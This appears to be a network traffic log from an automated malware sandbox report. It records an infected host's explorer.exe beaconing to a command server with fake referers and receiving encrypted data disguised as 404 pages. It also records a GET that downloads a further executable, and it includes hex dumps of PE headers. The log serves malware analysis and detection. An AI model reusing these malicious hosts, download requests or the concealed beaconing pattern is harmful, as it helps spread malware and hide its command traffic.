4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 
65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 d2 78 89 61 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 
0b 00 00 e2 00 00 00 9a 03 00 00 00 00 00 0a c0 04 00 00 c0 03 00 00 20 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 0
0 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 00 05 00 00 04 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 
00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 28 cc 03 00 53 00 00 00 00 a0 04 00 f6 09 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 04 00 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 04 00 08 
00 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 48 00 00 00 00 00 00 00 00 00 00 00 29 45 57 68 67 1f 4e 46 20 8d 03 00 
00 20 00 00 00 8e 03 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 65 78 74 00 00 00 34 de 00 
00 00 c0 03 00 00 e0 00 00 00 92 03 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 f6 09 
00 00 00 a0 04 00 00 0a 00 00 00 72 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 10 
00 00 00 00 c0 04 00 00 02 00 00 00 7c 04 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 65 6c 6f 63 00 00 
0c 00 00 00 00 e0 04 00 00 02 00 00 00 7e 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELxa @ @(SH)EWhgNF  @.text4 `.rsrcr@@| `.reloc~@B

Timestamp
kBytes
transferred Direction Data

Session ID Source IP Source Port Destination IP Destination Port Process

17 192.168.2.4 49837 47.74.84.15 80 C:\Windows\explorer.exe

Timestamp
kBytes
transferred Direction Data

Nov 9, 2021 
22:21:30.487577915 CET

8632 OUT POST / HTTP/1.1
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: http://fkqdw.com/
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 296
Host: nalirou70.top

Nov 9, 2021 
22:21:31.471678972 CET

8634 IN HTTP/1.1 404 Not Found
Server: nginx/1.20.1
Date: Tue, 09 Nov 2021 21:21:31 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Connection: close
Data Raw: 31 39 31 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 
44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 
3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 
68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 
2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 
41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 
65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 
44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 
3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 
20 61 74 20 6e 61 6c 69 72 6f 75 37 30 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 
64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a 
Data Ascii: 191<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title>
</head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not 
Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/
2.4.29 (Ubuntu) Server at nalirou70.top Port 80</address></body></html>0

Session ID Source IP Source Port Destination IP Destination Port Process

18 192.168.2.4 49838 47.74.84.15 80 C:\Windows\explorer.exe

Timestamp
kBytes
transferred Direction Data
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Nov 9, 2021 
22:21:31.801101923 CET

8634 OUT POST / HTTP/1.1
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: http://vhlqong.com/
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 357
Host: nalirou70.top

Nov 9, 2021 
22:21:32.782610893 CET

8635 IN HTTP/1.1 404 Not Found
Server: nginx/1.20.1
Date: Tue, 09 Nov 2021 21:21:32 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Connection: close
Data Raw: 34 35 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f c9 88 55 13 26 1a ff b5 98 ff ac 18 a8 19 
88 2c b4 59 52 db 03 f8 e5 2c f3 65 04 4b ed af e3 1e bb 52 df 41 de fe 2e 8d 2a 80 aa 96 50 2b f8 e3 00 7e 0d 0a 30 0d 
0a 0d 0a 
Data Ascii: 45I:82OU&,YR,eKRA.*P+~0

Timestamp
kBytes
transferred Direction Data

Session ID Source IP Source Port Destination IP Destination Port Process

19 192.168.2.4 49839 47.74.84.15 80 C:\Windows\explorer.exe

Timestamp
kBytes
transferred Direction Data

Nov 9, 2021 
22:21:33.137553930 CET

8636 OUT GET /files/1516_1636380988_6400.exe HTTP/1.1
Connection: Keep-Alive
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Host: host-host-file6.com

Nov 9, 2021 
22:21:33.998820066 CET

8645 IN HTTP/1.1 200 OK
Date: Tue, 09 Nov 2021 21:21:33 GMT
Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.5.38
Last-Modified: Mon, 08 Nov 2021 14:16:28 GMT
ETag: "39000-5d047a389ed49"
Accept-Ranges: bytes
Content-Length: 233472
Connection: close
Content-Type: application/octet-stream
Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 
4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 
65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
50 45 00 00 4c 01 04 00 a4 78 4c 60 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 0a 00 00 3a 01 00 00 dc 02 00 00 00 00 
00 cc 1e 00 00 00 10 00 00 00 50 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 
00 00 00 20 04 00 00 04 00 00 ec b5 03 00 02 00 00 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 
00 00 00 00 00 00 00 00 00 00 00 54 82 01 00 3c 00 00 00 00 20 02 00 d0 fc 01 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 b0 51 01 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 28 6e 01 00 40 00 00 00 00 00 00 00 00 00 00 00 00 50 01 00 6c 01 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 70 39 01 00 00 10 00 00 00 3a 01 00 00 04 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 a0 3a 00 00 00 50 01 00 00 3c 00 00 00 3e 01 00 
00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 c4 8e 00 00 00 90 01 00 00 18 00 00 00 7a 01 
00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 d0 fc 01 00 00 20 02 00 00 fe 01 00 00 92 01 
00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 
Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELxL`:P@ T< Q(n@Pl.textp9: `.rdata:P<>@@.dataz@.rsr
c @@

Session ID Source IP Source Port Destination IP Destination Port Process

2 192.168.2.4 49880 162.159.134.233 443 C:\Users\user\AppData\Local\Temp\B8B0.exe

Timestamp
kBytes
transferred Direction Data

Session ID Source IP Source Port Destination IP Destination Port Process

20 192.168.2.4 49855 47.74.84.15 80 C:\Windows\explorer.exe
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Timestamp
kBytes
transferred Direction Data

Nov 9, 2021 
22:21:37.944626093 CET

8916 OUT POST / HTTP/1.1
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: http://yvlvga.org/
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 190
Host: nalirou70.top

Nov 9, 2021 
22:21:38.934572935 CET

8926 IN HTTP/1.1 404 Not Found
Server: nginx/1.20.1
Date: Tue, 09 Nov 2021 21:21:38 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Connection: close
Data Raw: 31 39 31 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 
44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 
3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 
68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 
2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 
41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 
65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 
44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 
3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 
20 61 74 20 6e 61 6c 69 72 6f 75 37 30 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 
64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a 
Data Ascii: 191<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title>
</head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not 
Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/
2.4.29 (Ubuntu) Server at nalirou70.top Port 80</address></body></html>0

Session ID Source IP Source Port Destination IP Destination Port Process

21 192.168.2.4 49861 47.74.84.15 80 C:\Windows\explorer.exe

Timestamp
kBytes
transferred Direction Data

Nov 9, 2021 
22:21:39.266026020 CET

8930 OUT POST / HTTP/1.1
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: http://tqhblvfem.net/
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 232
Host: nalirou70.top
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Nov 9, 2021 
22:21:40.242944956 CET

8935 IN HTTP/1.1 404 Not Found
Server: nginx/1.20.1
Date: Tue, 09 Nov 2021 21:21:39 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Connection: close
Data Raw: 31 66 36 36 0d 0a 00 00 d2 a7 53 28 ca 53 57 5c 2f 8f 69 c1 50 22 ec 26 d8 a1 e7 26 67 0b 72 90 86 ec d2 ca 
71 c4 7c be 02 d7 36 3f f4 65 91 89 49 80 4a 35 7e dc 99 bc 2f 8d 61 e9 72 e6 ce 17 b5 12 df 9c 22 60 1b d6 88 67 a1 c2 
8a 31 51 0f 88 35 69 d1 88 86 a9 68 1b 1c 2e 4b 08 84 f3 77 b3 f6 12 94 b5 d4 02 cc 3a d8 c8 69 2f 2b ba 22 2e c0 90 88 
e0 5d 98 70 16 d6 08 e3 57 da d8 ed 21 e5 e1 94 52 ea 59 9b 93 e2 86 38 f8 f3 a4 7c 1d 16 4d aa 8f 8c f5 cf 9b 2b 25 9b 
f6 ba e9 1a b0 1c 07 74 d2 87 9a 87 cd 2b 80 78 51 a1 a2 8f 3c 65 dd 1c e0 32 02 50 08 a8 da e2 30 a5 59 93 9b b7 4f f3 
e0 e6 62 79 04 54 ea d6 d7 0c 3d 61 1d 27 f4 d2 af 34 91 b4 b9 21 80 20 59 55 11 5c 92 86 64 ab 49 11 80 c8 58 4b 67 13 
d2 18 5b 47 86 65 39 15 32 29 c5 f7 15 67 aa cf 20 c0 7a 9f 06 a2 7f c1 96 98 8b 36 85 92 c9 8a 5c d8 06 0e 45 27 11 7d 
87 f8 e0 04 89 f9 d4 57 80 90 70 89 ec 9c 48 6b 0e e1 a2 22 48 f2 d0 49 a1 ff bc ff 1f fd f5 3f f4 6f d3 7c cb 36 d2 ce 4e 49 
b3 0b 5b 4c 65 55 5b ad 30 7a 83 3b 2b ca c3 e3 b2 ec 92 90 0f 1c 57 ee 87 7e 0c 35 8a 3d 50 7f d0 56 81 b6 9b 97 96 70 
9f 8a 86 e8 47 5a ad b2 cb 99 6c 71 11 87 02 b1 b8 56 b0 40 f6 0a bf 8b 71 91 ce 21 b5 1e 55 df 76 79 d3 4f 5a 96 da 19 
d1 3a 2d ca 41 06 02 25 47 c2 fa 6b 8a b2 e2 4b 6d ec c0 40 a4 e2 d0 d7 d9 86 4e 85 8b 51 b0 3e 5b f3 99 84 4a 04 38 8d 
7d 14 2c d0 e8 b1 14 1d 73 10 22 17 4a 86 47 30 5a 22 a2 3f 0b 8e 6b 51 fd b5 54 02 f9 ee f8 b2 d6 4a 1f a7 e9 4d 51 02 
43 64 cd 25 5c 8d b7 d7 21 0c 26 17 51 d2 eb e9 23 19 9d 46 3c 70 76 41 ae a6 c3 88 3e 9d 43 dd 17 fe 2f 43 9e f8 d8 62 
47 42 f5 6a b7 be 34 56 9b 46 76 99 86 11 00 83 32 42 ea 6f cf ae 04 5d 94 36 e1 48 50 67 35 50 b8 81 be f0 80 de 5b 46 
6a 36 cf 09 27 4e e2 d2 be 95 47 ab 63 10 ec f8 b9 5f 14 2c f2 e6 2f bd 44 ef bf 8b 4f dc ea 90 39 02 97 ab a4 57 25 f5 b8 
d0 a7 85 62 4a 52 7d 54 7a 08 6c 39 c0 5e f3 5c 19 6d 63 95 be 07 3d da 9a 3e 05 22 7d e6 b2 68 60 bd 10 31 eb cd fc 25 
15 8e b7 82 7f 8e 40 b6 f1 47 4e a1 21 84 88 4b 2e 69 81 77 af dd c6 83 41 df 30 ae b8 e8 21 10 a0 57 6e 61 87 bd 77 6a 
67 09 0f 8a ef 22 3b 6b 81 c7 86 7a 8e 52 d3 e4 9e 4e 7b d6 7d 00 2c 0f 7a d7 9b 48 0b ad 8b bc 08 85 f7 8f 82 42 b7 28 
85 d8 da 14 79 a2 8e b9 08 c0 fe 77 c6 1d 2b 15 bf fa a5 e9 a8 b2 13 3b 35 02 1a 1b eb c2 f5 6c 8d e3 17 d3 83 6f ce ed 3f 
ec cf 81 68 73 02 99 ea a6 f5 c3 05 d0 b3 d3 23 39 41 c4 a5 c8 63 77 ca 0b 8f bd d9 39 6b a1 99 98 77 e8 0f 4e 8c da 06 
bd 37 87 8c b4 26 b8 2c 58 b2 77 6c 08 d8 f9 d2 eb 48 25 66 34 2d 6f 77 5e a5 37 48 84 99 ff 67 37 f9 ad a1 97 3b 86 f3 
3d 98 bb 1f 67 c7 26 e1 39 c6 86 8e f0 09 af 63 9b 09 09 a8 00 13 30 7b 88 cc c9 e1 a3 c3 e5 0f 25 93 23 c4 a9 d7 cf 8e 
3d 39 dc 46 ba 58 dc be b0 98 3f d8 94 eb 53 43 a1 0c 97 e4 6e 76 f9 14 34 0b 64 82 b2 64 4f 55 e0 ca 5e c3 bd c0 88 0b 
54 d9 1d 69 7a de ff 3d e1 03 70 2e 1f f4 d4 6a a9 a9 16 da 68 22 bd c8 cb cf 3f ef c8 a9 a6 cc d5 02 47 71 98 66 3c 3d f8 
bf cb 67 3f d8 97 24 a9 b9 fc f0 ba e8 57 2d c8 a1 11 19 af 7b 69 ad 72 5b 80 1c 97 36 db 64 11 82 f5 51 aa 3b c5 da a7 f1 
7d 87 02 f3 35 43 25 11 00 ac 49 1d 02 a1 b7 28 e4 f0 f7 11 41 a6 a4 87 35 ce 19 c3 ce 85 d5 3a 94 d4 1b e4 2f 62 f1 22 
27 c6 99 0a d7 d9 76 c5 89 10 c1 8b ba 97 28 35 bd a8 8f 59 9d 9b cf d5 f5 de 35 1f 98 92 f2 b2 6a 05 85 85 0a 9f 12 6f 03 
62 53 b5 f8 80 99 8b 84 80 7f 1d b8 78 c0 b4 a7 a4 d0 91 46 e8 81 2f 0d 4d 76 00 94 23 c7 8e 07 e8 df 4a 17 7a 8d 42 14 
7e 26 a0 81 ba 07 47 7d bb fb ce 3b 33 f0 82 6c 27 b4 e3 e4 ce 70 68 98 3b 6a fe da 3d b3 f5 3f 78 81 42 7b f9 e8 f0 85 a5 
46 e5 
Data Ascii: 1f66S(SW\/iP"&&grq|6?eIJ5~/ar"`g1Q5ih.Kw:i/+".]pW!RY8|M+%t+xQ<e2P0YObyT=a'4! YU\dIXKg[Ge92)g z6\E'
}WpHk"HI?o|6NI[LeU[0z;+W~5=PVpGZlqV@q!UvyOZ:-A%GkKm@NQ>[J8},s"JG0Z"?kQTJMQCd%\!&Q#F<pvA>C/
CbGBj4VFv2Bo]6HPg5P[Fj6'NGc_,/DO9W%bJR}Tzl9^\mc=>"}h`1%@GN!K.iwA0!Wnawjg";kzRN{},zHB(yw+;5lo?hs#9Acw
9kwN7&,XwlH%f4-ow^7Hg7;=g&9c0{%#=9FX?SCnv4ddOU^Tiz=p.jh"?Gqf<=g?$W-{ir[6dQ;}5C%I(A5:/b"'v(5Y5jobSxF/
Mv#JzB~&G};3l'ph;j=?xB{F

Timestamp
kBytes
transferred Direction Data

Session ID Source IP Source Port Destination IP Destination Port Process

22 192.168.2.4 49865 47.74.84.15 80 C:\Windows\explorer.exe

Timestamp
kBytes
transferred Direction Data

Nov 9, 2021 
22:21:45.263072014 CET

9102 OUT POST / HTTP/1.1
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: http://rykrbxyl.net/
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 228
Host: nalirou70.top

Nov 9, 2021 
22:21:46.243541002 CET

9103 IN HTTP/1.1 404 Not Found
Server: nginx/1.20.1
Date: Tue, 09 Nov 2021 21:21:45 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Connection: close
Data Raw: 31 39 31 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 
44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 
3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 
68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 
2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 
41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 
65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 
44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 
3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 
20 61 74 20 6e 61 6c 69 72 6f 75 37 30 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 
64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a 
Data Ascii: 191<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title>
</head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not 
Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/
2.4.29 (Ubuntu) Server at nalirou70.top Port 80</address></body></html>0

Session ID Source IP Source Port Destination IP Destination Port Process

23 192.168.2.4 49866 47.74.84.15 80 C:\Windows\explorer.exe
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Timestamp
kBytes
transferred Direction Data

Nov 9, 2021 
22:21:46.581892014 CET

9104 OUT POST / HTTP/1.1
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: http://oaayoceae.org/
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 293
Host: nalirou70.top

Nov 9, 2021 
22:21:47.560492039 CET

9105 IN HTTP/1.1 404 Not Found
Server: nginx/1.20.1
Date: Tue, 09 Nov 2021 21:21:47 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Connection: close
Data Raw: 31 39 31 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 
44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 
3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 
68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 
2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 
41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 
65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 
44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 
